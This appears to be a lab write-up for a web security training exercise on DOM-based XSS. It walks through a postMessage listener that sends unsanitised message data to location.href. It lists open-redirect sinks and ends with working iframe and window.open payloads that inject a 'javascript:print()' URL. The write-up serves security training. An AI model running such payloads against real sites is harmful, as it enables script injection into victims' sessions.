DOM XSS using web messages and a JavaScript URL

2023/08/01 5:52PM

Description

This lab demonstrates a DOM-based redirection vulnerability that is triggered by web messaging. To solve this lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the `print()` function.

This lab involves using post messages. This chrome extension is amazing and should be used when hunting for bugs. - https://github.com/fransr/postMessage-tracker. The extension monitors `postMessage listeners` by showing an indicator about the amount of listeners in the current window.

Getting Started

When the page we can see that the chrome extension indicates that there is 1 post message listener in the current window.

Vulnerability

From the extension we can see that the `postMessage-listener` is on line 50 with the following code being called.


    <script>
        window.addEventListener('message', function(e) {
            var url = e.data;
            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                location.href = url;
            }
        }, false);
    </script>

The code is taking the `postMessage` data and giving it to the variable `url`. The variable is then being checked to `http:` or `https:` is in the string. If `http:` or `https:` is in the string then set the `localtion.href` to the variable.


    "http://test.com".indexOf("http:")
    0
    
    "//test.com".indexOf("http:")
    -1
Exploit

The following sinks can lead to DOM-based open-redirect:


    location
    location.host
    location.hostname
    location.href
    location.pathname
    location.search
    location.protocol
    location.assign()
    location.replace()
    open()
    element.srcdoc
    XMLHttpRequest.open()
    XMLHttpRequest.send()
    jQuery.ajax()
    $.ajax()

We have `location.href` taking un-sanitized input from a `postMessage` that we can control, which means that an open redirect is possible.

Go to the exploit sever and enter the following code in the body:


    <script>
    window.pwned=window.open('https://[LAB_ID].web-security-academy.net/')
    window.pwned.postMessage('javascript:print()//http:','*')
    </script>

Now, when a user visits our website, a new window will popup and a `postMessage` is going to be sent to the vulnerable website in the context of the victim. This however will not work due to chrome blocking popups.

Since chrome is blocking popup windows, lets use an `iframe`.


    <iframe src="https://[LAB_ID].web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">